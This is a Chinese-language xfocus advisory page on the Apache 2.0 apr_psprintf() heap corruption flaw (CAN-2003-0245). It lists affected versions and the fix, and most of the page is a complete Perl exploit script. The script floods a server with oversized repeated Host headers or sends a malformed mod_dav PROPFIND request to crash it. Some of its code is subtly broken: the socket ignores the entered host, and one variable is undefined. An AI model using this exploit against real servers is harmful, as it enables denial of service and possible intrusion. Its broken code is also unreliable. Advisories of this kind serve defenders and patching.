xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Apache apr_psprintf()函数远程堆破坏漏洞


发布时间:2003-06-05
更新时间:2003-06-12
严重程度:
威胁程度:普通用户访问权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:7723
CVE(CAN) ID:CAN-2003-0245

受影响系统
Apache Software Foundation Apache 2.0.37      
Apache Software Foundation Apache 2.0.38      
Apache Software Foundation Apache 2.0.39      
Apache Software Foundation Apache 2.0.40      
   +RedHat Linux 8.0                          
   +RedHat Linux 9.0 i386                    
   +Terra Soft Solutions Yellow Dog Linux 3.0
Apache Software Foundation Apache 2.0.41      
Apache Software Foundation Apache 2.0.42      
   +Gentoo Linux 1.2                          
   +Gentoo Linux 1.4 _rc1                    
Apache Software Foundation Apache 2.0.43      
Apache Software Foundation Apache 2.0.44      
   +MandrakeSoft Linux Mandrake 9.1          
   +MandrakeSoft Linux Mandrake 9.1 ppc      
Apache Software Foundation Apache 2.0.45      
RedHat httpd-2.0.40-21.i386.rpm              
   +RedHat Linux 9.0 i386                    
RedHat httpd-2.0.40-8.i386.rpm                
   +RedHat Linux 8.0                          
RedHat httpd-devel-2.0.40-21.i386.rpm        
   +RedHat Linux 9.0 i386                    
RedHat httpd-devel-2.0.40-8.i386.rpm          
   +RedHat Linux 8.0                          
RedHat httpd-manual-2.0.40-21.i386.rpm        
   +RedHat Linux 9.0 i386                    
RedHat httpd-manual-2.0.40-8.i386.rpm        
   +RedHat Linux 8.0                          
RedHat mod_ssl-2.0.40-21.i386.rpm            
   +RedHat Linux 9.0 i386                    
RedHat mod_ssl-2.0.40-8.i386.rpm              
   +RedHat Linux 8.0
未影响系统
Apache Software Foundation Apache 2.0.46
详细描述
Apache 2.0.46以下版本软件的Apache Portable Runtime程序库中apr_psprintf()函数内存管理操作存在漏洞,远程攻击者可以通过mod_dav或其他组件利用此漏洞,可能在服务器上执行任意代码。

测试代码
#!/usr/bin/perl
#
# Apache 2.0 APR Exploit
# Written By Matthew Murphy
# Updates: http://www.techie.hopto.org/exploits/Apache-Knacker.pl
#
# Ever since I unveiled the additional details of the APR flaw in
# Apache 2.0.37-2.0.45, I've been under pressure to "put my money
# where my mouth is", and produce exploits for the flaw. My answer
# to these people was "just give me a few days until I figure them
# out, and you'll be the first to know". Well, despite a slight
# delay, here you have it.
#
# This Perl script will successfully exploit any un-patched Apache 2.0
# server that does not have the workarounds I highlighted applied.
#
# Okay, now it is time for my classic legal garb...
# Given that this is rushed, and probably buggy in some capacity, this
# is especially important here:
#
# No warranties are made about the performance of this tool, either
# express or implied. Your use of this tool is an implicit agreement
# that you will not utilize it against a network if any of the following
# occur:
#
# You do not administer the network
# You are not the owner of the network, and do not have written permission
# from the owner for testing of this potential vulnerability (HP
# speak there! :-D).
# Networks other than your own may be impacted by use of this tool in some
# way.
#
# You also agree NOT to hold the author of the tool responsible for any
# damage resulting from its use, be it accidental or intentional, and also
# agree that the consequences of utilizing this tool (and any damage such
# use creates) are solely your responsibility.
#
# Contact:
# E-mail: mattmurphykc.rr.com
# Web: http://www.techie.hopto.org/
# AIM: NetAddict4109
# or for the Windows folk among us:
# aim:goim?screenname=NetAddict4109
#
# Enjoy!


# Base64 Encoder
#
# If you want authentication with the server via HTTP's lame Basic
# auth, put the proper string to encode BASE64 content, and use
# '%s' to represent the credentials being encoded. For instance:
#
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line.
$BASE64_CMD_STRING = "use_base64_encoder_here %s";


# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value. NOTE: This requires support for
# bi-directional pipes on your OS version.
$BASE64_USE_STDIN = 0;


# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials,
# set this to your newline character.
$BASE64_WRITE_NL = "";


use IO::Socket;
print STDOUT "Apache 2.0 APR Exploit\r\n";
print STDOUT "By Matthew Murphy\r\n\r\n";
print STDOUT "Enter the hostname/IP address of the server: ";
$line = <STDIN>;
$host = mychomp($line);
print STDOUT "Enter the port of the server \[80\]: ";
$line = <STDIN>;
$port = mychomp($line);
print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
        print STDOUT "What username shall we use: ";
        $line = <STDIN>;
        $user = mychomp($line);
        print STDOUT "What password shall we use: ";
        $line = <STDIN>;
        $pass = mychomp($line);
        $auth = "$user:$pass";
        if ($BASE64_USE_STDIN) {
                # l33t Perl piping trix; NOTE: This is definitely
                # Alpha code! :-)
                pipe(STDOUTREAD, STDOUTWRITE);
                pipe(STDINREAD, STDINWRITE);
                open(OLDSTDIN, "&STDIN");
                open(OLDSTDOUT, ">&STDOUT");
                open(STDIN, "&STDINREAD");
                open(STDOUT, ">&STDOUTWRITE");
                close(STDINREAD);
                close(STDOUTWRITE);
                system($BASE64_CMD_STRING);
                open(STDIN, "&OLDSTDIN");
                open(STDOUT, "&>OLDSTDOUT");
                close(OLDSTDIN);
                close(OLDSTDOUT);
                print STDINWRITE $auth;
                close(STDINWRITE);
                read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
                close(STDOUTREAD);
        } else {
                open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
                read(READOUTPUT, $base64, 4096); # See above
                close(READOUTPUT);
        }
        # Another hack for dealing with base64 encoders that output
        # multi-lined encoded text. HTTP specifically calls for a
        # single line. Note that this pattern also messes with spaces,
        # tabs, etc., but base64 doesn't use those either, so this
        # shouldn't matter.
        $base64 = join("", split(/ /, $base64));
} else {
        $base64 = undef;
}
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
print STDOUT "Exploiting a proxy server \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
        print $f "GET / HTTP/1.1\x0d\x0a";


        # Apache 2.0 tries to limit header inputs, but uses a hash table
        # that ultimately concatenates multiple headers of the same name
        # together with ", " between them, so:
        #
        # Host: a
        # Host: b
        #
        # Bypasses Apache's buffer size checks, but ends up as:
        #
        # Host: a,b
        #
        # When processed. Confirm this with a TRACE against your server:
        #
        # TRACE / HTTP/1.1
        # Host: a
        # Host: b
        #
        # The "message/http" body you receive will contain:
        #
        # TRACE / HTTP/1.1
        # Host: a,b
        #
        # So, for those of you who are confused by this code fragment,
        # this is what it ultimately achieves!
        for ($i = 0; $i < 10; $i++) {
                print $f "Host: ".("A"x2000)."\r\n";
        }
        if (defined($base64)) {
                print $f "Proxy-Authorization: Basic ".$base64."\r\n";
        }
        print $f "\r\n";
} else {
        print STDOUT "What resource should be probed: ";
        $line = <STDIN>;
        $res = mychomp($line);
        print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
        $line = <STDIN>;
        $char = mychomp($line);
        if ($char == "Y" || $char == "y") {
                # WARNING:
                # Another section of alpha code here; mod_dav tends to barf
                # if given the smallest inconsistency, and this is not
                # exactly well-researched. If this doesn't work for you,
                # target your DAV repository as a typical resource: if
                # UseCanonicalName On hasn't been set explicitly, mod_dav
                # will choke on that as well.
                #
                # STunnel should not have issues with this, as you can't
                # use a "Host" header in an SSL connection anyway, so
                # that is no problem.
                #
                # Note that if the body is too long, IIS servers will also
                # die (assuming of course, that the latest IIS cumulative
                # patch has not been applied), as they have had problems
                # dealing with WebDAV in the very recent past.


                # XML Body of Request
                #
                # If everything works, mod_dav will attempt to format a
                # message with apr_psprintf() to indicate that our
                # namespace is invalid, leading to a crash.
                $xmlbody = "<?xml version=\"1.0\"?>\r\n";
                $xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
                $xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
                $xmlbody.= "</D:propfind>";


                # HTTP headers
                print $f "PROPFIND $res HTTP/1.1\r\n";
                print $f "Host: $host:$port\r\n";
                print $f "Depth: 1\r\n";
                print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
                print $f "Content-Length: ".length($body)."\r\n\r\n";
                if (defined($base64)) {
                        print $f "Authorization: Basic ".$base64."\r\n";
                }
                print $f "$xmlbody\r\n\r\n";
        } else {
                # This does *almost* the exact same thing as the mod_proxy
                # code, and could be considered wasteful, but a few extra
                # CPU cycles never killed anybody. :-(
                print $f "GET $res HTTP/1.1\r\n";
                for ($i = 0; $i < 10; $i++) {
                        print $f "Host: ".("A"x2000)."\r\n";
                }
                if (defined($base64)) {
                        print $f "Authorization: Basic ".$base64."\r\n";
                }
                print $f "\r\n";
        }
}
while (defined($ln = <$f>)) {
        print STDOUT $ln;
}
undef $f;
exit;


# FIXED: The perl chomp() function is broken on my distro,
# so I hacked a fix to work around it. This note applies
# to ActivePerl 5.8.x -- I haven't tried others. This is
# another hackish fix, which seems to be the entire style
# of this code. I'll write better toys when I have time to
# write better toys.
sub mychomp {
        my $data;
        my $arg = shift;
        my $CRLF;
        if ($^O == "MSWin32") {
                $CRLF = 1;
        } else {
                $CRLF = 0;
        }
        $data = substr($arg, 0, length($arg) - $CRLF);
        return $data;
}

解决方案
厂商已经在2.0.46及其以后版本的软件中解决修补了此漏洞:

http://www.apache.org/dist/httpd/

相关信息
iDEFENSE Security Advisory 05.30.03
http://www.idefense.com/advisory/05.30.03.txt
http://archives.neohapsis.com/archives/bugtraq/2003-06/0068.html